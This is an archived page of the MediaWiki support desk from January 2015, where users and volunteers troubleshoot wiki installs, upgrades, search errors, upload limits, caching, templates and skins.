I have a problem with my wiki. when i use the Search function the page comes up blank / white. All other pages on the wiki works like a charm, it's only when i use the search it comes up White / Blanks. If i type something it the searchfield and press "Go to" then it also works.

Anyone know what this is and how i can fix it ? [[Special:Contributions/192.176.230.1|192.176.230.1]] 11:06, 22 January 2015 (UTC)
:Please add the following at the same spot of the LocalSettings.php
:<source lang="php">
<?php
# Enable error reporting
error_reporting( E_ALL );
ini_set( 'display_errors', 1 );
</source>
:and then try to use the search again. [[User:Temptuousinsolence|Temptuousinsolence]] ([[User talk:Temptuousinsolence|talk]]) 12:07, 22 January 2015 (UTC)
::Hi. When i added that i can "use" the search, however. If i search for something that exists in the wiki already i get the following error
::Fatal error: Call to undefined method MySQLSearchResultSet::getInfo() in /home/wiki/public_html/includes/specials/SpecialSearch.php on line 507
::What is this ? [[Special:Contributions/192.176.230.1|192.176.230.1]] 12:24, 22 January 2015 (UTC)
:::Did you change something recently? Did you make a software-upgrade or changed a version of a mediawiki extension? [[User:Temptuousinsolence|Temptuousinsolence]] ([[User talk:Temptuousinsolence|talk]]) 12:37, 22 January 2015 (UTC)
::::I uppgradera Mediawiki a long time ago but other than that i have made no changes at all other then creating new wikipages. [[Special:Contributions/192.176.230.1|192.176.230.1]] 12:48, 22 January 2015 (UTC)
:::::And in terms of the server environment? Did you run a MySQL-update? [[User:Temptuousinsolence|Temptuousinsolence]] ([[User talk:Temptuousinsolence|talk]]) 12:55, 22 January 2015 (UTC)
::::::I have not but my provider might have. IF yes, is it fixable? [[Special:Contributions/192.176.230.1|192.176.230.1]] 13:20, 22 January 2015 (UTC)
:::::::It seems, that you did something from in the upgrade process. Have you followed [[Upgrade]] [[User:Florianschmidtwelzow|Florianschmidtwelzow]] ([[User talk:Florianschmidtwelzow|talk]]) 14:22, 22 January 2015 (UTC)
::::::::Yes i did follow that whe i upgraded. [[Special:Contributions/192.176.230.1|192.176.230.1]] 15:25, 22 January 2015 (UTC)
:::::::::The error is
:::::::::Fatal error: Call to undefined method MySQLSearchResultSet::getInfo() in /home/wiki/public_html/includes/specials/SpecialSearch.php on line 507
:::::::::This error does not tell me much. If you could provide a backtrace, that would help. [[Special:Contributions/88.130.98.62|88.130.98.62]] 20:09, 22 January 2015 (UTC)
::::::::::There are several things that you could do:
::::::::::* either you post the class or function that is responsible for it
::::::::::* or you upload the file to pastbin and add the link to it here.
::::::::::Well .... I used egrep on all wikis that I run and it appears that there is a function in some versions in this file:
::::::::::* includes/search/SearchMySQL.php
::::::::::Maybe you could post your method ... in order to make a comparison possible.
::::::::::Yet, somehow I feel it would be better for you to start the wiki from scratch. [[User:Temptuousinsolence|Temptuousinsolence]] ([[User talk:Temptuousinsolence|talk]]) 08:58, 23 January 2015 (UTC)

== Installation issues No /etc/mediawiki directory ==

Hi,
I tried to install MediaWiki 1.24 onto my Ubuntu 14.04.1 LTS laptop.
I already have LAMP installed and in use.

The installation instructions involve unpacking a tgz file - (not using the apt-get method).

But, in the online instructions it says to edit a config file in the /etc/mediawiki directory.

BUT - I don't have an /etc/mediawiki directory !!!

Obviously there is a step missing in the instructions !!

Regards

Nick [[Special:Contributions/82.219.14.93|82.219.14.93]] 13:11, 23 January 2015 (UTC)
:Hi Nick,
:which tutorial do you follow and which file should you edit?
:Since you say it is located inside the mediawiki/ directory, I guess it is LocalSettings.php? [[Special:Contributions/88.130.98.62|88.130.98.62]] 13:42, 23 January 2015 (UTC)
::Hi,
::I followed the instructions at:
::http://www.mediawiki.org/wiki/Manual:Running_MediaWiki_on_Ubuntu
::Regards
::Nick [[Special:Contributions/82.219.14.93|82.219.14.93]] 13:50, 23 January 2015 (UTC)
:::I've checked in the /var/log/apacahe2/error.log file, and I see this error:
:::[Fri Jan 23 13:51:02.156433 2015] [:error] [pid 16920] [client 127.0.0.1:53038] PHP Fatal error: require_once(): Failed opening required '/var/lib/mediawiki/includes/Init.php' (include_path='.:/usr/share/php:/usr/share/pear') in /usr/share/mediawiki/includes/WebStart.php on line 94
:::I don't have a /var/lib/mediawiki/includes/Init.php file.
:::AND - what is /usr/share/mediawiki directory doing on my system ??? I unpacked the tgz file into /var/lib/mediawiki !!!! [[Special:Contributions/82.219.14.93|82.219.14.93]] 13:55, 23 January 2015 (UTC)
::::Ah,
::::Looks like my laptop came with /usr/share/mediawiki preinstalled.
::::Probably manually installing mediawiki is scewing things up.
::::Nick [[Special:Contributions/82.219.14.93|82.219.14.93]] 15:01, 23 January 2015 (UTC)

== How can i do it work? ==

I already installed the dependences and i dont know to install the mediawiki, how can i do it? [[Special:Contributions/200.255.122.231|200.255.122.231]] 17:26, 23 January 2015 (UTC)
:Anndd I already put it into htdocs on apache, but nothing happend. Am i doing it wrong? [[Special:Contributions/200.255.122.231|200.255.122.231]] 17:28, 23 January 2015 (UTC)
::See [[Installation]]! [[Special:Contributions/88.130.113.102|88.130.113.102]] 18:07, 23 January 2015 (UTC)

== Purging cache. ==

Dear all.

When I try to purge my cache with ?action=purge, I get 404 file or directory not found. Have anybody experienced that? It's probably related to PhP, but I am not able to figure it out. Everything else works fine, but It's hard to update my templates.

Regards [[User:Pompelpilt|Pompelpilt]] ([[User talk:Pompelpilt|talk]]) 10:16, 24 January 2015 (UTC)
:Hi!
:Does it work for other ?action=xxx URLs? E.g. for action=history? If not, this might be a problem with [[Short URLs]].
:For the template updates: After you updated a template, the pages, which transclude it should iIrc be purged automatically - there should be no need to do that manually... [[Special:Contributions/88.130.113.102|88.130.113.102]] 12:45, 24 January 2015 (UTC)
::Thanks miss/mr 88.130.113.102.
::After reading about short URLs, I guess that's most likely the case. ?action=xxx doesn't work either. I have some investigation and testing to do here. Again, thanks! [[User:Pompelpilt|Pompelpilt]] ([[User talk:Pompelpilt|talk]]) 20:48, 24 January 2015 (UTC)
::''For the template updates: After you updated a template, the pages, which transclude it should iIrc be purged automatically - there should be no need to do that manually...''
::I understand what your'e saying, but don't understand why pages should be purged automatically. I was working with my templates (in template namespace) in lab environment, and changes didn't kick in as expected. I came across the ?action=purge option and they then worked. In my production environment though, purging doesn't work. [[User:Pompelpilt|Pompelpilt]] ([[User talk:Pompelpilt|talk]]) 20:59, 24 January 2015 (UTC)
:::I have recently set up Short URLs for one of my wikis and I know that (if you use Apache) the result of following [[Manual:Short_URL/Apache|this guide]] is working. [[Special:Contributions/88.130.79.83|88.130.79.83]] 12:59, 25 January 2015 (UTC)
:See [[Thread:Project:Support_desk/How_to_check_if_a_page_is_purged%3F]] [[User:Subfader|Subfader]] ([[User talk:Subfader|talk]]) 21:26, 26 January 2015 (UTC)

== How i install Visual Editor extension? ==

{{LQT Moved thread stub converted to Flow|author=Florianschmidtwelzow|date=2015-01-24|title=Thread:Project:Support desk/How i install Visual Editor extension?}} [[User:Florianschmidtwelzow|Florianschmidtwelzow]] ([[User talk:Florianschmidtwelzow|talk]]) 18:37, 24 January 2015 (UTC)

== Blog magazine like display ==

Dear,

I'm not so sure I should post this type of question here. Well, if someone had so ideas...

I display a list of recent / most visited articles using [[Extension:DynamicPageList (third-party)]]. I'm tring to transform these list into blog / magazine like frontpage.

I would like to add :

* An extract of the first lines of the article. I tried to use include=* & includemaxlength=[n] parameters. This generate an extract with formating applied. This result in a non-esthetic result for the list. I'm looking for a way to kill formating. I did not find a CONTENT variable I could use in format=.
* A small image, using first img tag available in article content. No clue on how to generate this for the moment.

If someone have any idea on one of these two points it would be really helpfull.

Thanks [[User:Thibdx|Thibdx]] ([[User talk:Thibdx|talk]]) 22:43, 24 January 2015 (UTC)
:Sorry for multiple posting. Clicking save did not do anything, I ended clicking multiple time. [[User:Thibdx|Thibdx]] ([[User talk:Thibdx|talk]]) 22:46, 24 January 2015 (UTC)

== [RESOLVED] Mediawiki Upload Size Issue ==

Good evening.
I am having issues with my mediawiki file upload size. I have a fresh install of MW1.24.1, on a shared hosting server.
Trying to upload an XML backup, I can't upload it; I get the 'file too large' message. When I go to do a regular upload, it displays 100B as the upload limit. The only adjustments I've made to LocalSettings.php are enabling editing only to registered emails, removed all skins but vector, removed anonymous editing and the require_once entries for my extensions to be usable.
My server, verified through phpinfo() has the upload limits set to 100MB (I don't need it that high, but we're trying to find the bug). Stats are as follows:

* PHP: 5.4.29
* Server API: CGI/FastCGI
* MW Install: 1.24.1
* Extensions: CollapseVector, Delete Batch, FancyBoxThumbs, MSUpload, ReplaceText
* No adjustments to file size in LocalSettings.php
* phpinfo() returns: post_max_size 100M, upload_max_filesize 100MB, file uploads ON

I have not been able to find anything, and nothing seems in error on the MW side or the PHP side. Any help would be appreciated. My shared hosting is looking into it as well, but I'm concerned that something is incorrect in MW. [[Special:Contributions/75.88.176.217|75.88.176.217]] 00:23, 25 January 2015 (UTC)
:Additionally my host has doublechecked my PHP.ini and we cannot find anything on their end. Is there any way that I can search out the origin point of where the 100B upload limit is noted, IE what calls bring it up in the specialpage:upload? [[Special:Contributions/75.88.176.217|75.88.176.217]] 03:56, 25 January 2015 (UTC)
::Could you double-check if upload_max_filesize is set to '''100MB''' or '''100M'''? Note that in php.ini, units don't have the "B", and that may be confusing MediaWiki. [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 16:03, 25 January 2015 (UTC)
:::Yeah, that was it. Once we fixed that all was well. We caought it about 2AM this morning. Thanks! [[Special:Contributions/75.88.176.217|75.88.176.217]] 22:10, 25 January 2015 (UTC)

== The guest machine entered an invalid state while waiting for it to boot, vagrant virtual box error ==

Hi all,
I am encountering problems in installing vagrant in virtual box,when starting the machine after virtual box boot screen it get stuck,nothing happens
Installation steps were as follows:-
<pre>C:\Users\pratikbsp\vagrant>vagrant up
Bringing machine 'default' up with 'virtualbox' provider...
==> default: Box 'trusty-cloud' could not be found. Attempting to find
ll...
default: Box Provider: virtualbox
default: Box Version: >= 0
==> default: Adding box 'trusty-cloud' (v0) for provider: virtualbox
default: Downloading: https://cloud-images.ubuntu.com/vagrant/trus
/trusty-server-cloudimg-amd64-vagrant-disk1.box
==> default: Box download is resuming from prior download progress
default: Progress: 100% (Rate: 48923/s, Estimated time remaining:
==> default: Successfully added box 'trusty-cloud' (v0) for 'virtualbo
==> default: Importing base box 'trusty-cloud'...
==> default: Matching MAC address for NAT networking...
==> default: Setting the name of the VM: vagrant_default_1422189835297
==> default: Clearing any previously set forwarded ports...
==> default: Clearing any previously set network interfaces...
==> default: Preparing network interfaces based on configuration...
default: Adapter 1: nat
default: Adapter 2: hostonly
==> default: Forwarding ports...
default: 80 => 8080 (adapter 1)
default: 22 => 2222 (adapter 1)
==> default: Running 'pre-boot' VM customizations...
==> default: Booting VM...
==> default: Waiting for machine to boot. This may take a few minutes.
The guest machine entered an invalid state while waiting for it
to boot. Valid states are 'starting, running'. The machine is in the
'poweroff' state. Please verify everything is configured
properly and try again.

If the provider you're using has a GUI that comes with it,
it is often helpful to open that and watch the machine, since the
GUI often has more helpful error messages than Vagrant can retrieve.
For example, if you're using VirtualBox, run `vagrant up` while the
VirtualBox GUI is open.
</pre> [[User:Pratikbsp|Pratikbsp]] ([[User talk:Pratikbsp|talk]]) 14:00, 25 January 2015 (UTC)
:You may also want to bring up your question on https://www.mediawiki.org/wiki/Talk:MediaWiki-Vagrant [[User:AKlapper (WMF)|AKlapper (WMF)]] ([[User talk:AKlapper (WMF)|talk]]) 17:24, 27 January 2015 (UTC)

== ResourceLoader is very slow on initial visit (low traffic wiki) ==

On my private wikt (1 user) and on the company wiki the ResourceLoader takes ~4-5 seconds to load on the initial loading.

This is only on the first load after no traffic for a while, then browsing around is fast.

* private wiki: MW 1.24.1, PHP 5.5.13 + Opcache
* company wiki: MW 1.19, PHP 5.? + APC

How can this be avoided? [[User:Subfader|Subfader]] ([[User talk:Subfader|talk]]) 15:40, 25 January 2015 (UTC)
:Would be interesting to know, ''which parts exactly'' are slow. Is it the creation of CSS stylesheets? Or of scripts?
:I guess this happens when the according part has been purged out of the cache and so needs to be recreated. I would guess increasing the cache lifetime should be a workaround. [[Special:Contributions/88.130.79.83|88.130.79.83]] 15:45, 25 January 2015 (UTC)
::It seems to be the javascript part:
::[[File:MW_1.24.1_RL_load_test.png|link=https://upload.wikimedia.org/wikipedia/mediawiki/4/48/MW_1.24.1_RL_load_test.png|600x600px]]
::I pretty much use everything from [[User:Aaron Schulz/How to make MediaWiki fast]] if possible. [[User:Subfader|Subfader]] ([[User talk:Subfader|talk]]) 20:01, 25 January 2015 (UTC)
:::You might get even better debug output when appending &debug=true (if there is already a question mark in the URL) or ?debug=true (if there is no previous question mark in the URL) to the URL. [[User:AKlapper (WMF)|AKlapper (WMF)]] ([[User talk:AKlapper (WMF)|talk]]) 17:49, 27 January 2015 (UTC)

== Gadget scripts missing after migration without upgrade ==

We have recently migrated (1.13 on AIX with PHP-5.2.6 (apache) and MySQL 5.1.26-rc) to (1.19 on MSW/IIS with PHP-5.3.29 and MySQL-5.1.73), and can’t find the gadget scripts (I was particularly looking forward to having Navigation pop-ups).
[[Extension:Gadgets]] gives me the impression that the scripts are meant to be present in the installation.
I suppose that the scripts reside in the wiki DB as pages, and hence suspect that dropping and loading the DB must have lost them.

Does this mean that the colleague who migrated the DB overlooked something in the instructions?
Looking at [[Manual:Moving a wiki]], I see one is meant to upgrade the old server before migration: would this explain it?
(Perhaps a warning there about the consequences would be in order.)
And what does one do if the old server has run out of space: migrate to the old version and then upgrade? Or if it has failed totally?

All the same, the new wiki appears to be running quite satisfactorily, except that it reports several spurious Wanted pages, which I thinking come from treating a “:” as part of the page name when the pages actually exist in an explicit namespace.
How confident can we be of the integrity of the new wiki?

Am I right in thinking that what I need to do now is (as a Bureaucrat) to create pages in our wiki such as [[MediaWiki:Gadget-edittop.js]] and [[MediaWiki:Gadget-popups.js]] using cut-and-paste from the same pages on this site (mediawiki.org)? Or is there a better way of going about it (if we do not need to redo the migration)? [[User:PJTraill|PJTraill]] ([[User talk:PJTraill|talk]]) 15:31, 26 January 2015 (UTC)
:The problem of "missing" pages -- some that exist with the literal ":" in the name -- is usually caused by old pages conflicting with new namespaces.
:For example, if you start your wiki with pages like "Meta:Foo" and "Meta:Bar", it works great... until you decide to create a "Meta" namespace.
:See [[Manual:Using_custom_namespaces#Dealing_with_existing_pages|Dealing with existing pages]] for this. ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 17:53, 26 January 2015 (UTC)
::Thanks, but this is the other way round: e.g. “Space:Dust” exists, in the namespace “Space”, but it is listed as wanted, as though it thought “:” was part of the name. [[User:PJTraill|PJTraill]] ([[User talk:PJTraill|talk]]) 21:37, 26 January 2015 (UTC)
:::How do you have your namespaces set up? Could you paste that snippet of your code?
:::Is your wiki public? Could you point to the problematic page? ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 23:43, 26 January 2015 (UTC)
::::I am afraid it is not public. The namespaces are defined as 100 to 135 (many unused!) with the last statements in LocalSettings.php starting with:
::::<code> $wgExtraNamespaces[100] = "''Xxxx''";</code>
::::<code> $wgExtraNamespaces[101] = "''Xxxx''_talk";</code>
::::The first listed page looks like “''Xxxx'':''XX''-''xxxxxx'' (14 links)”, where ''Xxxx'' (=100) does not clash with any [[Extension default namespaces]]; the page exists and has going on for 1,000 links about which at a glance nothing odd strikes me.
::::But if '''[[Manual:upgrading|upgrading]]''' to 1.19 (or 1.23) on AIX (AIX = 5.3 = '''quite old''') would be straightforward, do you not think that is a better way to go?
::::(4,570 total pages, mostly small, 96 files, the DB is some 137 Mb, if it is all held in <code>MySQL/data/''name''</code> – though on AIX <code>du -m</code> reports 141.78!)
::::I presume this would also get the Gadgets working; loading them manually sounds a lot less reliable, as they may need tweaks or other components. [[User:PJTraill|PJTraill]] ([[User talk:PJTraill|talk]]) 10:16, 27 January 2015 (UTC)
:::::If you can get a recent version of PHP for your "quite old" version of AIX, then you should be able to upgrade on that system without a problem.
:::::Another thing to think about is any extensions. Did you update them to compatible versions? ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 00:15, 29 January 2015 (UTC)
::I can apparently fix the (lesser) (un)Wanted Pages problem by finding the pages with
::<code> select pl_title, page_title from page, pagelinks where page_id = pl_from and pl_namespace = 0 and pl_title like '%:%'; </code>
::and editting the pages (saving with no changes) this throws up.
::Is there a query (for 1.19) with which I can <strike>clear the caches</strike> force a new parse of all pages thus found? (P.S. Just spotted [[Manual:Database layout]] etc., but I don’t see the answer.) [[User:PJTraill|PJTraill]] ([[User talk:PJTraill|talk]]) 11:10, 27 January 2015 (UTC)
:I think those pages in the mediawiki namespace should be imported along with the rest of your page.
:That said, if you want to import pages, I wrote [https://github.com/hexmode/mediawiki-page-puller an extension] to handle part of this. It isn't complete, and I haven't recently used it, but you may find it useful.
:Oh, and you should really udate to 1.23. 1.19 won't be supported after 1.25 comes out. ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 18:01, 26 January 2015 (UTC)
::Thanks for the tip about 1.23. Actually I am starting to think we probably should redo the migration properly, i.e. starting with an upgrade of the old server. [[User:PJTraill|PJTraill]] ([[User talk:PJTraill|talk]]) 21:45, 26 January 2015 (UTC)

== Find talk pages by the categorization of its associated content NS? ==

I'm trying to hack [[Special:RecentChanges]] with [[Manual:$wgAllowCategorizedRecentChanges|$wgAllowCategorizedRecentChanges]] = true.

As stated in [https://phabricator.wikimedia.org/T85745 T85745], using the "associated namespace" option does not find [[Talk:Foo]] (uncategorized) when searching for categories of [[Foo]].

I want to fix this but before I try my usual trial & error struggle with MySQL: Is there a standard function for this already? [[User:Subfader|Subfader]] ([[User talk:Subfader|talk]]) 21:20, 26 January 2015 (UTC)

== Wikitemplates interpretation/visualisation ==

Hi All

I try to write my own Wikipediacode interpreter. I don't want to use a 3rd Party code or software.

My problem is, that I don't know what kind of templates {{templatesname|parameters}} exists for a specific language.

For example in french there are so many different templates, which do not exist in english:
- <nowiki>{{</nowiki>Voir|.....
- {{S|VI|e}} -> VI siecle
- <nowiki>{{</nowiki>-m|II -> IIe millénaire av. J.‑C.
etc...

My questions:
- Who is defining these templates ?
- Howto get a complete list of available templates for each language ?

thanks a lot and kind regards [[Special:Contributions/176.127.146.117|176.127.146.117]] 17:51, 27 January 2015 (UTC)
:Is this a good idea? MediaWiki ''is'' (or at least contains) the definitive interpreter, and you are trying to do its job!
:Although you presumably consider it 3rd party software, it probably contains pretty much everything you need.
:Incidentally it is not just Wikipedia-code, that is just the best known MediaWiki application.
:Of course the templates are a problem; you can find them via Special Pages - List of Pages - Namespace = Template, but there are an enormous number and they are to some extent in continual flux.
:Of course you can fetch all the templates you need for a given page recursively, and perhaps cache them to cut down on the bandwidth, but I still wonder if it is worth it.
:They are in principle defined by anyone who edits the wiki, though in practice they are mostly done by more experienced editors.
:There is no true coordination, just various more or less agreed best practices.
:If you just want to do it for a private wiki, you might look at the newer editors and try hacking them and/or the upper levels of MediaWiki.
:I hope this is not too discouraging! [[User:PJTraill|PJTraill]] ([[User talk:PJTraill|talk]]) 20:57, 27 January 2015 (UTC)
::Thanks for the explanation. But I do not understand something. If an author creates a new templates. How does the Interpreter from mediawiki know howto visualize ? If the interpreter automatic knows howto interprete, there is probably a way to get this definition also through an api ? [[Special:Contributions/176.127.146.117|176.127.146.117]] 06:39, 28 January 2015 (UTC)
:::I am sorry; while I have a reasonable idea what MediaWiki does, I know little of how it does it (and I’m not sure what you’re asking). I could say (a) when viewed or previewed, a template definition is formatted just like any other page and (b) when a template changes, MediaWiki reformats pages listed as using it; actually I think it would be better for you to study “For developers” on [[Manual:Contents]]. [[User:PJTraill|PJTraill]] ([[User talk:PJTraill|talk]]) 12:09, 28 January 2015 (UTC)
:::The parser is recursive. It just expands each template into its respective wikitext, then expands any templates in said wikitext and so on, and at the end does the proper parsing which turns the wikitext into HTML. The parser doesn't need to know anything about any template, just how to parse standard wikitext which you can use anywhere. [[Special:Contributions/121.214.190.213|121.214.190.213]] 14:05, 28 January 2015 (UTC)

== Templates and Lists ==

First: Sorry for my bad English.

Hello,

i have a problem... (good start :D)

i have a template, for example... 
<code>Template: Cars 
brands: {{{b}}} 
type: {{{t}}} 
color: {{{c}}}</code>
After that I create some pages with this template, so I have some car-pages.

The Problem:
Now I want another page with a list of all cars and another page with a list of all cars which are yellow.
How can I do it? [[Special:Contributions/84.118.252.230|84.118.252.230]] 21:19, 27 January 2015 (UTC)
:Sorry, Another thing. What if I want a list of all colors? [[Special:Contributions/84.118.252.230|84.118.252.230]] 21:29, 27 January 2015 (UTC)
::The simplest way is to make the template categorize pages based on those parameters. See [[Help:Categories]]
::You can make your template categorize pages simply by using things like this:
::<code><nowiki>color: {{{c}}}[[Category:{{{c}}}]]</nowiki></code>
::Then, the category page will list all cars of that color.
::You can use some extensions to put that list on a page or even combine several categories, if you need. See [[:Category:Category extensions]] [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 11:19, 28 January 2015 (UTC)
:Sounds like a challenge to be tackled using [[Semantic MediaWiki]]. [[User:This, that and the other|This, that and the other]] ([[User talk:This, that and the other|talk]]) 05:32, 28 January 2015 (UTC)

== [RESOLVED] Call to uploaded file ==

In our wiki exists several updated files. By example File:myfile.jpg. Then myfile.jpg is located in ../images/c/cf/myfile.jpg.
I need to open (or download) directly (from a php program) the myfile.jpg. How the program can get the full path for myfile.jpg (../images/c/cf/myfile.jpg)?. [[User:Jmarchn|Jmarchn]] ([[User talk:Jmarchn|talk]]) 21:53, 27 January 2015 (UTC)
:To access the physical path from the same server, it should be as simple as construct it from your upload directory, the /c/cf/ part, and the filename.
:The /c/cf/ part is the first and 2 first (respectively) md5 sum hash characters of the filename (myfile.jpg). This can be done with the {{php|md5}} function. [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 11:04, 28 January 2015 (UTC)
::Thanks!!!
::<source lang="php">
function path_from_md5fn_fn ($fn) {
$s = md5 ($fn);
return substr($s,0,1).'/'.substr($s,0,2).'/'.$fn;
}
</source> [[User:Jmarchn|Jmarchn]] ([[User talk:Jmarchn|talk]]) 07:30, 29 January 2015 (UTC)

== Do I need to set $wgCacheDirectory if using redis or APC? ==

It looks like l10n cache file made lots of IO wrote which decrease my wiki's speed.

Generally will the file set by $wgCacheDirectory increase wiki's speed? Should I turn it off when using redis and APC? [[User:Zoglun|Zoglun]] ([[User talk:Zoglun|talk]]) 00:03, 28 January 2015 (UTC)
:Hi,
:[[Manual:$wgCacheDirectory]] is only needed, if you want to save the localisationCache in your filesystem and isn't required for APC or redis to work :) [[User:Florianschmidtwelzow|Florianschmidtwelzow]] ([[User talk:Florianschmidtwelzow|talk]]) 07:37, 29 January 2015 (UTC)

== [RESOLVED] Errors when using GD image library ==

I'm seeing blank pages when I attempt to use GD as the image library as opposed to ImageMagick.

I've got an old MediaWiki site that I've just upgraded from version 1.8.2 to 1.24.0. I also installed a completely fresh copy of 1.24.0 onto the same server. When I set them both to use ImageMagick I receive errors about proc_open being disabled at the top of the page and, although pages will load, the images won't and instead say:

Error creating thumbnail: Unable to run external programs, proc_open() is disabled.
Error code: 1

Essentially my host has disabled proc_open for security.

So I try to use GD instead. The fresh installation lets me upload new images and add them to pages, then it creates the thumbnails as it should. All works fine with GD. The upgraded site, however, just goes to a blank page after pressing the upload button. It also shows a blank page on several pages that have images (ie the same pages that would have the above error if using ImageMagick), eg ''Gallery of new images'', and ''File list''.

It appears that I can't use ImageMagick due to proc_open being disabled. But does anyone know why GD would work fine on one installation but not on another?

The errors that appear when loading those blank pages look like: [http://pastebin.com/VmWEqe1M PasteBin]

I'm using:
*PHP: 5.3.29
*MySQL: 5.6.22
*MW: 1.24.0

Thanks [[User:Chris huh|Chris huh]] ([[User talk:Chris huh|talk]]) 16:49, 28 January 2015 (UTC)
:If you have both 1.24, the problem may be one setting in LocalSettings.php causing an error, or if you forgot to run the upgrade script on the migrated database.
:It's strange that the debug log stops at that line. That may indicate a fatal PHP error or, in the worst case, a segfault. Note that PHP fatal errors aren't logged in the debug log, you should enable the display of PHP errors (see [[Manual:How_to_debug]]) or look at the error log of the webserver. [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 10:57, 29 January 2015 (UTC)
::I've turned on PHP debugging via the LocalSettings.php option. Where would it display any PHP errors? In the page itself or in a log? I don't see any errors on neither the page nor in the log file.
::I will have to look through my LocalSettings.php to see if there is anything that could be causing it. Thanks [[User:Chris huh|Chris huh]] ([[User talk:Chris huh|talk]]) 17:11, 29 January 2015 (UTC)
:::Read the section ''PHP errors'' on that page. [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 20:46, 29 January 2015 (UTC)

== Looking for a particular skin... ==

Currently on 1.17, using Vector with just enough modification to get advertising units in. The reason we haven't upgraded our wiki as of yet is because the changes to how skins work made it impossible for us to figure out how to get ad units in the necessary places, and we rolled back to 1.17 until we had some time to sort it out.

That said, we're not wed to using Vector. It feels a little busy in its sidebar, and we were hoping to find something fresh and new that would allow us the room to fit a couple of ad units (a horizontal ad up top and at bottom, a vertical unit on the side) cleanly to support the site. We've also been told we really need to be more mobile-friendly.

I've also generally found it difficult to come to grips with the changes to skins since 1.17 -- it used to be that you could just modify the skin files directly quite easily, but when we tried upgrading to 1.23 it was something of a disaster. Are there any good guides for modifying skins like Vector since the changes? [[User:Balerion300|Balerion300]] ([[User talk:Balerion300|talk]]) 19:36, 28 January 2015 (UTC)
:Have you looked at [[:Category:Stable_skins]]? Looking at examples should help. There are a few that [[User:Jack Phoenix|Jack Phoenix]] has converted from WordPress, so that should be helpful. There is also [[Manual:Skinning]]. ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 00:07, 29 January 2015 (UTC)

== Does MediaWiki suite my project? Some info about the fork feature ==

Hi everybody

I'd like to install MediaWiki on two websites for two different projects, but I need some info before:

1) can I "fork" some Wikipedia articles into my website? How can I accomplish it?
I know I can copy/paste them, but are there other ways to do this with many articles?

2) the other website is project oriented.
Each member will be able to fork the project of another member, and all the related fork have to be notified in order to collect them into a group: something like the Fork feature of GitHub, but these forks will stay in my website.
Is it possible with MediaWiki? How?

Thank you in advance!

Best regards,

Ivan [[User:IvanPsy|IvanPsy]] ([[User talk:IvanPsy|talk]]) 22:01, 28 January 2015 (UTC)
:You should look at work I did on [https://github.com/hexmode/mediawiki-page-puller my page puller extension]]. It isn't forking in the git sense, but it would allow you (with some work) to keep the pages in some sort of synchronisation. ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 00:10, 29 January 2015 (UTC)

== [RESOLVED] Gzip Extraction Error/ GPG Sig Error ==

I am getting the following attempting to extract mediawiki-1.24.1.tar.gz downloaded following the link <nowiki>http://releases.wikimedia.org/mediawiki/1.24/mediawiki-1.24.1.tar.gz</nowiki>.

gzip: mediawiki-1.24.1.tar.gz: unexpected end of file

I've downloaded the file twice using curl on Linux and Windows/Firefox copied to Linux with the same result. I then checked the gpg sig and got:

gpg: Signature made Wed 17 Dec 2014 02:18:25 PM CST using RSA key ID 7F901A30
gpg: BAD signature from "Mark A. Hershberger <mah@everybody.org>"

The file size I have is 20346207, md5sum f81e37cb40a3db04f289610e23d21d24 if it helps. [[Special:Contributions/99.20.200.142|99.20.200.142]] 04:14, 29 January 2015 (UTC)
:I made a mistake. Please disregard this. [[Special:Contributions/99.20.200.142|99.20.200.142]] 04:24, 29 January 2015 (UTC)
::Maybe you can explain your mistake, so othe rpeople (run into the same problem) can profit from you? :) [[User:Florianschmidtwelzow|Florianschmidtwelzow]] ([[User talk:Florianschmidtwelzow|talk]]) 06:51, 29 January 2015 (UTC)

== SQLite support extent ==

Hi, [[Manual:SQLite]] states that "SQLite support for MediaWiki is of production quality as of MediaWiki 1.17," but on the same page it says "Several extensions are known to have database update or installation issues with SQLite: AbuseFilter" Is that statement still true, or have the extension issues been fixed? For CheckUser and other extensions, am I able to manually create the needed schema in the database and have it work, or would it simply not work? And finally, do shared databases (e.g. user tables) work for SQLite? Thanks. [[User:Lorp10|Lorp10]] ([[User talk:Lorp10|talk]]) 08:35, 29 January 2015 (UTC)

== [RESOLVED] I opened LocalSettings.php using notepad and saved it ==

Now the wiki's broken. How can I revert it? [[User:Sandvich18|Sandvich18]] ([[User talk:Sandvich18|talk]]) 09:46, 29 January 2015 (UTC)
:Will opening it in Notepad++ and saving it in UTF-8 without BOM work? [[User:Sandvich18|Sandvich18]] ([[User talk:Sandvich18|talk]]) 10:14, 29 January 2015 (UTC)
::See [[Manual:LocalSettings.php]]! Yes, saving the file in UTF- without BOM will ix the wrong ncoding again. [[Special:Contributions/88.130.64.250|88.130.64.250]] 18:10, 29 January 2015 (UTC)

== Upload files without createpage - permission ==

Hi,
if i give a group the permission to upload files (upload) but not to create page (createpage) they are not able to upload a file. As i understand an upload will create a page for that file - that is imho the problem. Is there a workaround? This group has the permission to edit pages but they schouldn't have the permission to create new ones. However they should be abel to upload and link images in an existing page. Is there a solution for?
Best regards and thanks in adavance!

MediaWiki 1.22.13
PHP 5.4.36-0+deb7u3 (apache2handler)
MySQL 5.5.41-0+wheezy1 [[User:LNAG-IT|LNAG-IT]] ([[User talk:LNAG-IT|talk]]) 12:57, 29 January 2015 (UTC)

== I see a search results page instead of an article ==

I'd like to revive a [[Thread:Project:Support_desk/I_see_search_results_page_instead_of_article|question I posed in the summer]]:

I have now installed version 1.24.1 as a completely fresh installation on a different computer, with Vector as the skin, and I have the same issue.
(The issue is that when I click "Search", MediaWiki presents a search results page, instead of bringing me to the article that matches the title.)

